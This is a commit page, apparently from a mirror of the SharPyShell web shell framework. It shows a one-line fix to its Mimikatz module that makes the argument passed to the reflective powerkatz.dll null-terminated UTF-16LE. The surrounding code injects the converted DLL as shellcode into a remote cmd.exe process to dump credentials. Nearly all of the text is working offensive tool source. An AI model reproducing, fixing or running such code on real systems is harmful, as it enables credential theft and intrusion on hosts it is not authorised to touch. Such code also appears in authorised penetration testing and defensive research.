mirror of
https://github.com/antonioCoco/SharPyShell
synced 2026-06-08 13:11:44 +00:00
fix mimikatz dll module
This commit is contained in:
+1
-1
@@ -127,7 +127,7 @@ class Mimikatz(Module):
|
||||
dll_name = 'powerkatz.dll'
|
||||
exported_function_name = 'powershell_reflective_mimikatz'
|
||||
log_file = self._module_settings['env_directory'] + '\\' + random_generator()
|
||||
exported_function_data = '"log ' + log_file + '" ' + custom_command
|
||||
exported_function_data = str.encode('"log ' + log_file + '" ' + custom_command + '\x00', 'utf-16-le')
|
||||
if username == '':
|
||||
print ('\n\nInjecting converted DLL shellcode into remote process...')
|
||||
response = self.inject_dll_srdi_module_object.run([dll_name, 'remote_virtual', 'cmd.exe', '60000', '{}',
|
||||
|
||||
Reference in New Issue
Block a user